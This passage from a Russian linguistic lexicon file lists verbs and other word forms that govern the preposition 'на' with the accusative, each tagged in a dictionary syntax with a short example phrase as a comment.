rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
